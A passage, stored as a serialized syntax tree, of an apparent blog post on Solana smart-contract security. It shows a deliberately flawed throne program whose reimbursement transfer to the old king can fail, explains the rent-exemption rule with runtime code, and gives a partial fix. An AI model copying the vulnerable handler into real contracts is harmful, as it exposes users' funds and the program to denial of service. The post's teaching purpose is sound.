ype":23,"tag":481,"props":69384,"children":69385},{"class":483,"line":1437},[69386,69391],{"type":23,"tag":481,"props":69387,"children":69388},{"style":508},[69389],{"type":28,"value":69390}," bid_amount",{"type":23,"tag":481,"props":69392,"children":69393},{"style":525},[69394],{"type":28,"value":1033},{"type":23,"tag":481,"props":69396,"children":69397},{"class":483,"line":6528},[69398,69403,69407],{"type":23,"tag":481,"props":69399,"children":69400},{"style":525},[69401],{"type":28,"value":69402}," )",{"type":23,"tag":481,"props":69404,"children":69405},{"style":514},[69406],{"type":28,"value":670},{"type":23,"tag":481,"props":69408,"children":69409},{"style":525},[69410],{"type":28,"value":528},{"type":23,"tag":481,"props":69412,"children":69413},{"class":483,"line":6546},[69414],{"type":23,"tag":481,"props":69415,"children":69416},{"emptyLinePlaceholder":15},[69417],{"type":28,"value":1210},{"type":23,"tag":481,"props":69419,"children":69420},{"class":483,"line":6591},[69421],{"type":23,"tag":481,"props":69422,"children":69423},{"style":488},[69424],{"type":28,"value":69425}," // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":481,"props":69427,"children":69428},{"class":483,"line":6697},[69429,69433,69438,69442,69446,69450,69454,69458,69462,69466,69470,69474,69478,69483,69487,69491,69496],{"type":23,"tag":481,"props":69430,"children":69431},{"style":497},[69432],{"type":28,"value":573},{"type":23,"tag":481,"props":69434,"children":69435},{"style":508},[69436],{"type":28,"value":69437}," to_reimburse",{"type":23,"tag":481,"props":69439,"children":69440},{"style":514},[69441],{"type":28,"value":517},{"type":23,"tag":481,"props":69443,"children":69444},{"style":525},[69445],{"type":28,"value":578},{"type":23,"tag":481,"props":69447,"children":69448},{"style":508},[69449],{"type":28,"value":17778},{"type":23,"tag":481,"props":69451,"children":69452},{"style":514},[69453],{"type":28,"value":199},{"type":23,"tag":481,"props":69455,"children":69456},{"style":525},[69457],{"type":28,"value":12163},{"type":23,"tag":481,"props":69459,"children":69460},{"style":514},[69461],{"type":28,"value":199},{"type":23,"tag":481,"props":69463,"children":69464},{"style":525},[69465],{"type":28,"value":69281},{"type":23,"tag":481,"props":69467,"children":69468},{"style":514},[69469],{"type":28,"value":199},{"type":23,"tag":481,"props":69471,"children":69472},{"style":525},[69473],{"type":28,"value":69290},{"type":23,"tag":481,"props":69475,"children":69476},{"style":514},[69477],{"type":28,"value":2120},{"type":23,"tag":481,"props":69479,"children":69480},{"style":551},[69481],{"type":28,"value":69482}," 9500",{"type":23,"tag":481,"props":69484,"children":69485},{"style":525},[69486],{"type":28,"value":598},{"type":23,"tag":481,"props":69488,"children":69489},{"style":514},[69490],{"type":28,"value":2130},{"type":23,"tag":481,"props":69492,"children":69493},{"style":551},[69494],{"type":28,"value":69495}," 10000",{"type":23,"tag":481,"props":69497,"children":69498},{"style":525},[69499],{"type":28,"value":528},{"type":23,"tag":481,"props":69501,"children":69502},{"class":483,"line":21008},[69503,69508],{"type":23,"tag":481,"props":69504,"children":69505},{"style":610},[69506],{"type":28,"value":69507}," transfer_from_pda",{"type":23,"tag":481,"props":69509,"children":69510},{"style":525},[69511],{"type":28,"value":988},{"type":23,"tag":481,"props":69513,"children":69514},{"class":483,"line":21043},[69515,69519,69523,69527,69531,69535,69539,69543,69547],{"type":23,"tag":481,"props":69516,"children":69517},{"style":514},[69518],{"type":28,"value":5163},{"type":23,"tag":481,"props":69520,"children":69521},{"style":508},[69522],{"type":28,"value":17778},{"type":23,"tag":481,"props":69524,"children":69525},{"style":514},[69526],{"type":28,"value":199},{"type":23,"tag":481,"props":69528,"children":69529},{"style":525},[69530],{"type":28,"value":12163},{"type":23,"tag":481,"props":69532,"children":69533},{"style":514},[69534],{"type":28,"value":199},{"type":23,"tag":481,"props":69536,"children":69537},{"style":525},[69538],{"type":28,"value":69281},{"type":23,"tag":481,"props":69540,"children":69541},{"style":514},[69542],{"type":28,"value":199},{"type":23,"tag":481,"props":69544,"children":69545},{"style":610},[69546],{"type":28,"value":69378},{"type":23,"tag":481,"props":69548,"children":69549},{"style":525},[69550],{"type":28,"value":1016},{"type":23,"tag":481,"props":69552,"children":69553},{"class":483,"line":21051},[69554,69558,69562,69566,69570,69574],{"type":23,"tag":481,"props":69555,"children":69556},{"style":514},[69557],{"type":28,"value":5163},{"type":23,"tag":481,"props":69559,"children":69560},{"style":508},[69561],{"type":28,"value":17778},{"type":23,"tag":481,"props":69563,"children":69564},{"style":514},[69565],{"type":28,"value":199},{"type":23,"tag":481,"props":69567,"children":69568},{"style":525},[69569],{"type":28,"value":12163},{"type":23,"tag":481,"props":69571,"children":69572},{"style":514},[69573],{"type":28,"value":199},{"type":23,"tag":481,"props":69575,"children":69576},{"style":525},[69577],{"type":28,"value":69578},"old_king,\n",{"type":23,"tag":481,"props":69580,"children":69581},{"class":483,"line":21059},[69582,69587],{"type":23,"tag":481,"props":69583,"children":69584},{"style":508},[69585],{"type":28,"value":69586}," to_reimburse",{"type":23,"tag":481,"props":69588,"children":69589},{"style":525},[69590],{"type":28,"value":1033},{"type":23,"tag":481,"props":69592,"children":69593},{"class":483,"line":21068},[69594,69598,69602],{"type":23,"tag":481,"props":69595,"children":69596},{"style":525},[69597],{"type":28,"value":69402},{"type":23,"tag":481,"props":69599,"children":69600},{"style":514},[69601],{"type":28,"value":670},{"type":23,"tag":481,"props":69603,"children":69604},{"style":525},[69605],{"type":28,"value":528},{"type":23,"tag":481,"props":69607,"children":69608},{"class":483,"line":21110},[69609],{"type":23,"tag":481,"props":69610,"children":69611},{"emptyLinePlaceholder":15},[69612],{"type":28,"value":1210},{"type":23,"tag":481,"props":69614,"children":69615},{"class":483,"line":21143},[69616],{"type":23,"tag":481,"props":69617,"children":69618},{"style":488},[69619],{"type":28,"value":69620}," // Set new king\n",{"type":23,"tag":481,"props":69622,"children":69623},{"class":483,"line":21151},[69624,69628,69632,69636,69640,69644,69648,69653,69657,69661,69665,69669,69673,69678,69682,69687],{"type":23,"tag":481,"props":69625,"children":69626},{"style":508},[69627],{"type":28,"value":23697},{"type":23,"tag":481,"props":69629,"children":69630},{"style":514},[69631],{"type":28,"value":199},{"type":23,"tag":481,"props":69633,"children":69634},{"style":525},[69635],{"type":28,"value":12163},{"type":23,"tag":481,"props":69637,"children":69638},{"style":514},[69639],{"type":28,"value":199},{"type":23,"tag":481,"props":69641,"children":69642},{"style":525},[69643],{"type":28,"value":69281},{"type":23,"tag":481,"props":69645,"children":69646},{"style":514},[69647],{"type":28,"value":199},{"type":23,"tag":481,"props":69649,"children":69650},{"style":525},[69651],{"type":28,"value":69652},"king ",{"type":23,"tag":481,"props":69654,"children":69655},{"style":514},[69656],{"type":28,"value":603},{"type":23,"tag":481,"props":69658,"children":69659},{"style":508},[69660],{"type":28,"value":23354},{"type":23,"tag":481,"props":69662,"children":69663},{"style":514},[69664],{"type":28,"value":199},{"type":23,"tag":481,"props":69666,"children":69667},{"style":525},[69668],{"type":28,"value":12163},{"type":23,"tag":481,"props":69670,"children":69671},{"style":514},[69672],{"type":28,"value":199},{"type":23,"tag":481,"props":69674,"children":69675},{"style":525},[69676],{"type":28,"value":69677},"new_king",{"type":23,"tag":481,"props":69679,"children":69680},{"style":514},[69681],{"type":28,"value":199},{"type":23,"tag":481,"props":69683,"children":69684},{"style":610},[69685],{"type":28,"value":69686},"key",{"type":23,"tag":481,"props":69688,"children":69689},{"style":525},[69690],{"type":28,"value":1201},{"type":23,"tag":481,"props":69692,"children":69693},{"class":483,"line":21159},[69694,69698,69702,69706,69710,69714,69718,69722,69726,69731],{"type":23,"tag":481,"props":69695,"children":69696},{"style":508},[69697],{"type":28,"value":23697},{"type":23,"tag":481,"props":69699,"children":69700},{"style":514},[69701],{"type":28,"value":199},{"type":23,"tag":481,"props":69703,"children":69704},{"style":525},[69705],{"type":28,"value":12163},{"type":23,"tag":481,"props":69707,"children":69708},{"style":514},[69709],{"type":28,"value":199},{"type":23,"tag":481,"props":69711,"children":69712},{"style":525},[69713],{"type":28,"value":69281},{"type":23,"tag":481,"props":69715,"children":69716},{"style":514},[69717],{"type":28,"value":199},{"type":23,"tag":481,"props":69719,"children":69720},{"style":525},[69721],{"type":28,"value":69290},{"type":23,"tag":481,"props":69723,"children":69724},{"style":514},[69725],{"type":28,"value":603},{"type":23,"tag":481,"props":69727,"children":69728},{"style":508},[69729],{"type":28,"value":69730}," bid_amount",{"type":23,"tag":481,"props":69732,"children":69733},{"style":525},[69734],{"type":28,"value":528},{"type":23,"tag":481,"props":69736,"children":69737},{"class":483,"line":21168},[69738,69742,69746,69750,69754,69758,69762,69767,69771,69776,69780,69784,69788,69792,69797,69801,69805],{"type":23,"tag":481,"props":69739,"children":69740},{"style":508},[69741],{"type":28,"value":23697},{"type":23,"tag":481,"props":69743,"children":69744},{"style":514},[69745],{"type":28,"value":199},{"type":23,"tag":481,"props":69747,"children":69748},{"style":525},[69749],{"type":28,"value":12163},{"type":23,"tag":481,"props":69751,"children":69752},{"style":514},[69753],{"type":28,"value":199},{"type":23,"tag":481,"props":69755,"children":69756},{"style":525},[69757],{"type":28,"value":69281},{"type":23,"tag":481,"props":69759,"children":69760},{"style":514},[69761],{"type":28,"value":199},{"type":23,"tag":481,"props":69763,"children":69764},{"style":525},[69765],{"type":28,"value":69766},"last_time ",{"type":23,"tag":481,"props":69768,"children":69769},{"style":514},[69770],{"type":28,"value":603},{"type":23,"tag":481,"props":69772,"children":69773},{"style":943},[69774],{"type":28,"value":69775}," Clock",{"type":23,"tag":481,"props":69777,"children":69778},{"style":514},[69779],{"type":28,"value":1006},{"type":23,"tag":481,"props":69781,"children":69782},{"style":610},[69783],{"type":28,"value":13842},{"type":23,"tag":481,"props":69785,"children":69786},{"style":525},[69787],{"type":28,"value":11367},{"type":23,"tag":481,"props":69789,"children":69790},{"style":514},[69791],{"type":28,"value":647},{"type":23,"tag":481,"props":69793,"children":69794},{"style":525},[69795],{"type":28,"value":69796},"unix_timestamp ",{"type":23,"tag":481,"props":69798,"children":69799},{"style":497},[69800],{"type":28,"value":6322},{"type":23,"tag":481,"props":69802,"children":69803},{"style":943},[69804],{"type":28,"value":3336},{"type":23,"tag":481,"props":69806,"children":69807},{"style":525},[69808],{"type":28,"value":528},{"type":23,"tag":481,"props":69810,"children":69811},{"class":483,"line":21244},[69812],{"type":23,"tag":481,"props":69813,"children":69814},{"emptyLinePlaceholder":15},[69815],{"type":28,"value":1210},{"type":23,"tag":481,"props":69817,"children":69818},{"class":483,"line":21277},[69819,69823],{"type":23,"tag":481,"props":69820,"children":69821},{"style":943},[69822],{"type":28,"value":12300},{"type":23,"tag":481,"props":69824,"children":69825},{"style":525},[69826],{"type":28,"value":11826},{"type":23,"tag":481,"props":69828,"children":69829},{"class":483,"line":21285},[69830],{"type":23,"tag":481,"props":69831,"children":69832},{"style":525},[69833],{"type":28,"value":879},{"type":23,"tag":481,"props":69835,"children":69836},{"class":483,"line":21293},[69837],{"type":23,"tag":481,"props":69838,"children":69839},{"style":525},[69840],{"type":28,"value":1443},{"type":23,"tag":24,"props":69842,"children":69843},{},[69844],{"type":28,"value":69845},"Note this comment:",{"type":23,"tag":426,"props":69847,"children":69848},{},[69849],{"type":23,"tag":24,"props":69850,"children":69851},{},[69852],{"type":28,"value":69853},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":69855,"children":69856},{},[69857],{"type":28,"value":69858},"...Is our assumption correct?",{"type":23,"tag":31,"props":69860,"children":69862},{"id":69861},"the-bugs-lurking-beneath",[69863],{"type":28,"value":69864},"The Bugs Lurking Beneath",{"type":23,"tag":7092,"props":69866,"children":69868},{"id":69867},"bug-1-the-rent-exemption-trap",[69869],{"type":28,"value":69870},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":69872,"children":69873},{},[69874,69876,69881],{"type":28,"value":69875},"On Solana, all accounts must maintain a ",{"type":23,"tag":2875,"props":69877,"children":69878},{},[69879],{"type":28,"value":69880},"minimum balance",{"type":28,"value":69882}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":14178,"props":69884,"children":69885},{},[69886,69901],{"type":23,"tag":77,"props":69887,"children":69888},{},[69889,69894,69895],{"type":23,"tag":2875,"props":69890,"children":69891},{},[69892],{"type":28,"value":69893},"Uninitialized",{"type":28,"value":12820},{"type":23,"tag":64,"props":69896,"children":69898},{"className":69897},[],[69899],{"type":28,"value":69900},"lamports = 0",{"type":23,"tag":77,"props":69902,"children":69903},{},[69904,69909,69910],{"type":23,"tag":2875,"props":69905,"children":69906},{},[69907],{"type":28,"value":69908},"Initialized",{"type":28,"value":12820},{"type":23,"tag":64,"props":69911,"children":69913},{"className":69912},[],[69914],{"type":28,"value":69915},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":69917,"children":69918},{},[69919,69921,69926],{"type":28,"value":69920},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":2875,"props":69922,"children":69923},{},[69924],{"type":28,"value":69925},"account metadata",{"type":28,"value":69927}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":69929,"children":69930},{},[69931,69933,69939],{"type":28,"value":69932},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":64,"props":69934,"children":69936},{"className":69935},[],[69937],{"type":28,"value":69938},"data.len() == 0",{"type":28,"value":69940}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":69942,"children":69943},{},[69944,69946,69952],{"type":28,"value":69945},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":190,"props":69947,"children":69950},{"href":69948,"rel":69949},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[194],[69951],{"type":28,"value":45109},{"type":28,"value":199},{"type":23,"tag":435,"props":69954,"children":69956},{"className":475,"code":69955,"language":474,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[69957],{"type":23,"tag":64,"props":69958,"children":69959},{"__ignoreMap":7},[69960,70044,70061,70107,70127,70148,70169,70184,70201,70245,70264,70285,70306,70322,70330,70363,70370,70377,70384,70391],{"type":23,"tag":481,"props":69961,"children":69962},{"class":483,"line":484},[69963,69968,69973,69977,69981,69985,69989,69994,69998,70002,70007,70011,70016,70020,70024,70028,70032,70036,70040],{"type":23,"tag":481,"props":69964,"children":69965},{"style":497},[69966],{"type":28,"value":69967}," fn",{"type":23,"tag":481,"props":69969,"children":69970},{"style":610},[69971],{"type":28,"value":69972}," transition_allowed",{"type":23,"tag":481,"props":69974,"children":69975},{"style":525},[69976],{"type":28,"value":618},{"type":23,"tag":481,"props":69978,"children":69979},{"style":514},[69980],{"type":28,"value":623},{"type":23,"tag":481,"props":69982,"children":69983},{"style":497},[69984],{"type":28,"value":11201},{"type":23,"tag":481,"props":69986,"children":69987},{"style":525},[69988],{"type":28,"value":588},{"type":23,"tag":481,"props":69990,"children":69991},{"style":508},[69992],{"type":28,"value":69993},"pre_rent_state",{"type":23,"tag":481,"props":69995,"children":69996},{"style":514},[69997],{"type":28,"value":287},{"type":23,"tag":481,"props":69999,"children":70000},{"style":514},[70001],{"type":28,"value":4619},{"type":23,"tag":481,"props":70003,"children":70004},{"style":943},[70005],{"type":28,"value":70006},"RentState",{"type":23,"tag":481,"props":70008,"children":70009},{"style":525},[70010],{"type":28,"value":588},{"type":23,"tag":481,"props":70012,"children":70013},{"style":508},[70014],{"type":28,"value":70015},"post_rent_state",{"type":23,"tag":481,"props":70017,"children":70018},{"style":514},[70019],{"type":28,"value":287},{"type":23,"tag":481,"props":70021,"children":70022},{"style":514},[70023],{"type":28,"value":4619},{"type":23,"tag":481,"props":70025,"children":70026},{"style":943},[70027],{"type":28,"value":70006},{"type":23,"tag":481,"props":70029,"children":70030},{"style":525},[70031],{"type":28,"value":598},{"type":23,"tag":481,"props":70033,"children":70034},{"style":514},[70035],{"type":28,"value":11245},{"type":23,"tag":481,"props":70037,"children":70038},{"style":943},[70039],{"type":28,"value":9537},{"type":23,"tag":481,"props":70041,"children":70042},{"style":525},[70043],{"type":28,"value":809},{"type":23,"tag":481,"props":70045,"children":70046},{"class":483,"line":351},[70047,70052,70057],{"type":23,"tag":481,"props":70048,"children":70049},{"style":535},[70050],{"type":28,"value":70051}," match",{"type":23,"tag":481,"props":70053,"children":70054},{"style":508},[70055],{"type":28,"value":70056}," post_rent_state",{"type":23,"tag":481,"props":70058,"children":70059},{"style":525},[70060],{"type":28,"value":809},{"type":23,"tag":481,"props":70062,"children":70063},{"class":483,"line":531},[70064,70069,70073,70077,70081,70086,70090,70095,70099,70103],{"type":23,"tag":481,"props":70065,"children":70066},{"style":943},[70067],{"type":28,"value":70068}," RentState",{"type":23,"tag":481,"props":70070,"children":70071},{"style":514},[70072],{"type":28,"value":1006},{"type":23,"tag":481,"props":70074,"children":70075},{"style":943},[70076],{"type":28,"value":69893},{"type":23,"tag":481,"props":70078,"children":70079},{"style":514},[70080],{"type":28,"value":1818},{"type":23,"tag":481,"props":70082,"children":70083},{"style":943},[70084],{"type":28,"value":70085}," RentState",{"type":23,"tag":481,"props":70087,"children":70088},{"style":514},[70089],{"type":28,"value":1006},{"type":23,"tag":481,"props":70091,"children":70092},{"style":943},[70093],{"type":28,"value":70094},"RentExempt",{"type":23,"tag":481,"props":70096,"children":70097},{"style":514},[70098],{"type":28,"value":25264},{"type":23,"tag":481,"props":70100,"children":70101},{"style":497},[70102],{"type":28,"value":9956},{"type":23,"tag":481,"props":70104,"children":70105},{"style":525},[70106],{"type":28,"value":1033},{"type":23,"tag":481,"props":70108,"children":70109},{"class":483,"line":567},[70110,70114,70118,70123],{"type":23,"tag":481,"props":70111,"children":70112},{"style":943},[70113],{"type":28,"value":70068},{"type":23,"tag":481,"props":70115,"children":70116},{"style":514},[70117],{"type":28,"value":1006},{"type":23,"tag":481,"props":70119,"children":70120},{"style":943},[70121],{"type":28,"value":70122},"RentPaying",{"type":23,"tag":481,"props":70124,"children":70125},{"style":525},[70126],{"type":28,"value":809},{"type":23,"tag":481,"props":70128,"children":70129},{"class":483,"line":678},[70130,70135,70139,70144],{"type":23,"tag":481,"props":70131,"children":70132},{"style":508},[70133],{"type":28,"value":70134}," data_size",{"type":23,"tag":481,"props":70136,"children":70137},{"style":514},[70138],{"type":28,"value":287},{"type":23,"tag":481,"props":70140,"children":70141},{"style":508},[70142],{"type":28,"value":70143}," post_data_size",{"type":23,"tag":481,"props":70145,"children":70146},{"style":525},[70147],{"type":28,"value":1033},{"type":23,"tag":481,"props":70149,"children":70150},{"class":483,"line":784},[70151,70156,70160,70165],{"type":23,"tag":481,"props":70152,"children":70153},{"style":508},[70154],{"type":28,"value":70155}," lamports",{"type":23,"tag":481,"props":70157,"children":70158},{"style":514},[70159],{"type":28,"value":287},{"type":23,"tag":481,"props":70161,"children":70162},{"style":508},[70163],{"type":28,"value":70164}," post_lamports",{"type":23,"tag":481,"props":70166,"children":70167},{"style":525},[70168],{"type":28,"value":1033},{"type":23,"tag":481,"props":70170,"children":70171},{"class":483,"line":812},[70172,70176,70180],{"type":23,"tag":481,"props":70173,"children":70174},{"style":525},[70175],{"type":28,"value":68124},{"type":23,"tag":481,"props":70177,"children":70178},{"style":514},[70179],{"type":28,"value":12310},{"type":23,"tag":481,"props":70181,"children":70182},{"style":525},[70183],{"type":28,"value":809},{"type":23,"tag":481,"props":70185,"children":70186},{"class":483,"line":825},[70187,70192,70197],{"type":23,"tag":481,"props":70188,"children":70189},{"style":535},[70190],{"type":28,"value":70191}," match",{"type":23,"tag":481,"props":70193,"children":70194},{"style":508},[70195],{"type":28,"value":70196}," pre_rent_state",{"type":23,"tag":481,"props":70198,"children":70199},{"style":525},[70200],{"type":28,"value":809},{"type":23,"tag":481,"props":70202,"children":70203},{"class":483,"line":843},[70204,70209,70213,70217,70221,70225,70229,70233,70237,70241],{"type":23,"tag":481,"props":70205,"children":70206},{"style":943},[70207],{"type":28,"value":70208}," RentState",{"type":23,"tag":481,"props":70210,"children":70211},{"style":514},[70212],{"type":28,"value":1006},{"type":23,"tag":481,"props":70214,"children":70215},{"style":943},[70216],{"type":28,"value":69893},{"type":23,"tag":481,"props":70218,"children":70219},{"style":514},[70220],{"type":28,"value":1818},{"type":23,"tag":481,"props":70222,"children":70223},{"style":943},[70224],{"type":28,"value":70085},{"type":23,"tag":481,"props":70226,"children":70227},{"style":514},[70228],{"type":28,"value":1006},{"type":23,"tag":481,"props":70230,"children":70231},{"style":943},[70232],{"type":28,"value":70094},{"type":23,"tag":481,"props":70234,"children":70235},{"style":514},[70236],{"type":28,"value":25264},{"type":23,"tag":481,"props":70238,"children":70239},{"style":497},[70240],{"type":28,"value":6539},{"type":23,"tag":481,"props":70242,"children":70243},{"style":525},[70244],{"type":28,"value":1033},{"type":23,"tag":481,"props":70246,"children":70247},{"class":483,"line":864},[70248,70252,70256,70260],{"type":23,"tag":481,"props":70249,"children":70250},{"style":943},[70251],{"type":28,"value":70208},{"type":23,"tag":481,"props":70253,"children":70254},{"style":514},[70255],{"type":28,"value":1006},{"type":23,"tag":481,"props":70257,"children":70258},{"style":943},[70259],{"type":28,"value":70122},{"type":23,"tag":481,"props":70261,"children":70262},{"style":525},[70263],{"type":28,"value":809},{"type":23,"tag":481,"props":70265,"children":70266},{"class":483,"line":873},[70267,70272,70276,70281],{"type":23,"tag":481,"props":70268,"children":70269},{"style":508},[70270],{"type":28,"value":70271}," data_size",{"type":23,"tag":481,"props":70273,"children":70274},{"style":514},[70275],{"type":28,"value":287},{"type":23,"tag":481,"props":70277,"children":70278},{"style":508},[70279],{"type":28,"value":70280}," pre_data_size",{"type":23,"tag":481,"props":70282,"children":70283},{"style":525},[70284],{"type":28,"value":1033},{"type":23,"tag":481,"props":70286,"children":70287},{"class":483,"line":1125},[70288,70293,70297,70302],{"type":23,"tag":481,"props":70289,"children":70290},{"style":508},[70291],{"type":28,"value":70292}," lamports",{"type":23,"tag":481,"props":70294,"children":70295},{"style":514},[70296],{"type":28,"value":287},{"type":23,"tag":481,"props":70298,"children":70299},{"style":508},[70300],{"type":28,"value":70301}," pre_lamports",{"type":23,"tag":481,"props":70303,"children":70304},{"style":525},[70305],{"type":28,"value":1033},{"type":23,"tag":481,"props":70307,"children":70308},{"class":483,"line":1142},[70309,70314,70318],{"type":23,"tag":481,"props":70310,"children":70311},{"style":525},[70312],{"type":28,"value":70313}," } ",{"type":23,"tag":481,"props":70315,"children":70316},{"style":514},[70317],{"type":28,"value":12310},{"type":23,"tag":481,"props":70319,"children":70320},{"style":525},[70321],{"type":28,"value":809},{"type":23,"tag":481,"props":70323,"children":70324},{"class":483,"line":1159},[70325],{"type":23,"tag":481,"props":70326,"children":70327},{"style":488},[70328],{"type":28,"value":70329}," // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":481,"props":70331,"children":70332},{"class":483,"line":1172},[70333,70338,70342,70346,70350,70354,70358],{"type":23,"tag":481,"props":70334,"children":70335},{"style":508},[70336],{"type":28,"value":70337}," post_data_size",{"type":23,"tag":481,"props":70339,"children":70340},{"style":514},[70341],{"type":28,"value":800},{"type":23,"tag":481,"props":70343,"children":70344},{"style":508},[70345],{"type":28,"value":70280},{"type":23,"tag":481,"props":70347,"children":70348},{"style":514},[70349],{"type":28,"value":11673},{"type":23,"tag":481,"props":70351,"children":70352},{"style":508},[70353],{"type":28,"value":70164},{"type":23,"tag":481,"props":70355,"children":70356},{"style":514},[70357],{"type":28,"value":5676},{"type":23,"tag":481,"props":70359,"children":70360},{"style":508},[70361],{"type":28,"value":70362}," pre_lamports\n",{"type":23,"tag":481,"props":70364,"children":70365},{"class":483,"line":1181},[70366],{"type":23,"tag":481,"props":70367,"children":70368},{"style":525},[70369],{"type":28,"value":68593},{"type":23,"tag":481,"props":70371,"children":70372},{"class":483,"line":1204},[70373],{"type":23,"tag":481,"props":70374,"children":70375},{"style":525},[70376],{"type":28,"value":68601},{"type":23,"tag":481,"props":70378,"children":70379},{"class":483,"line":1213},[70380],{"type":23,"tag":481,"props":70381,"children":70382},{"style":525},[70383],{"type":28,"value":56412},{"type":23,"tag":481,"props":70385,"children":70386},{"class":483,"line":1222},[70387],{"type":23,"tag":481,"props":70388,"children":70389},{"style":525},[70390],{"type":28,"value":870},{"type":23,"tag":481,"props":70392,"children":70393},{"class":483,"line":1291},[70394],{"type":23,"tag":481,"props":70395,"children":70396},{"style":525},[70397],{"type":28,"value":879},{"type":23,"tag":24,"props":70399,"children":70400},{},[70401],{"type":28,"value":70402},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":435,"props":70404,"children":70406},{"className":1791,"code":70405,"language":1790,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[70407],{"type":23,"tag":64,"props":70408,"children":70409},{"__ignoreMap":7},[70410,70426],{"type":23,"tag":481,"props":70411,"children":70412},{"class":483,"line":484},[70413,70417,70422],{"type":23,"tag":481,"props":70414,"children":70415},{"style":610},[70416],{"type":28,"value":17},{"type":23,"tag":481,"props":70418,"children":70419},{"style":1805},[70420],{"type":28,"value":70421}," rent",{"type":23,"tag":481,"props":70423,"children":70424},{"style":551},[70425],{"type":28,"value":21789},{"type":23,"tag":481,"props":70427,"children":70428},{"class":483,"line":351},[70429,70434,70439,70444],{"type":23,"tag":481,"props":70430,"children":70431},{"style":610},[70432],{"type":28,"value":70433},"Rent-exempt",{"type":23,"tag":481,"props":70435,"children":70436},{"style":1805},[70437],{"type":28,"value":70438}," minimum:",{"type":23,"tag":481,"props":70440,"children":70441},{"style":551},[70442],{"type":28,"value":70443}," 0.00089088",{"type":23,"tag":481,"props":70445,"children":70446},{"style":1805},[70447],{"type":28,"value":70448}," SOL\n",{"type":23,"tag":16388,"props":70450,"children":70452},{"id":70451},"fix-1-only-reimburse-if-rent-exempt",[70453],{"type":28,"value":70454},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":70456,"children":70457},{},[70458],{"type":28,"value":70459},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":435,"props":70461,"children":70463},{"className":37879,"code":70462,"language":37881,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[70464],{"type":23,"tag":64,"props":70465,"children":70466},{"__ignoreMap":7},[70467,70475,70483,70491,70499,70507,70515,70523,70531,70539],{"type":23,"tag":481,"props":70468,"children":70469},{"class":483,"line":484},[70470],{"type":23,"tag":481,"props":70471,"children":70472},{"style":525},[70473],{"type":28,"value":70474},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":481,"props":70476,"children":70477},{"class":483,"line":351},[70478],{"type":23,"tag":481,"props":70479,"children":70480},{"style":551},[70481],{"type":28,"value":70482},"+let rent = Rent::get()?;\n",{"type":23,"tag":481,"props":70484,"children":70485},{"class":483,"line":531},[70486],{"type":23,"tag":481,"props":70487,"children":70488},{"style":551},[70489],{"type":28,"value":70490},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":481,"props":70492,"children":70493},{"class":483,"line":567},[70494],{"type":23,"tag":481,"props":70495,"children":70496},{"style":551},[70497],{"type":28,"value":70498},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":481,"props":70500,"children":70501},{"class":483,"line":678},[70502],{"type":23,"tag":481,"props":70503,"children":70504},{"style":525},[70505],{"type":28,"value":70506}," transfer_from_pda(\n",{"type":23,"tag":481,"props":70508,"children":70509},{"class":483,"line":784},[70510],{"type":23,"tag":481,"props":70511,"children":70512},{"style":525},[70513],{"type":28,"value":70514}," &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":481,"props":70516,"children":70517},{"class":483,"line":812},[70518],{"type":23,"tag":481,"props":70519,"children":70520},{"style":525},[70521],{"type":28,"value":70522}," &ctx.accounts.old_king,\n",{"type":23,"tag":481,"props":70524,"children":70525},{"class":483,"line":825},[70526],{"type":23,"tag":481,"props":70527,"children":70528},{"style":525},[70529],{"type":28,"value":70530}," to_reimburse,\n",{"type":23,"tag":481,"props":70532,"children":70533},{"class":483,"line":843},[70534],{"type":23,"tag":481,"props":70535,"children":70536},{"style":525},[70537],{"type":28,"value":70538}," )?;\n",{"type":23,"tag":481,"props":70540,"children":70541},{"class":483,"line":864},[70542],{"type":23,"tag":481,"props":70543,"children":70544},{"style":551},[70545],{"type":28,"value":70546},"+}\n",{"type":23,"tag":24,"props":70548,"children":70549},{},[70550],{"type":28,"value":70551},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not 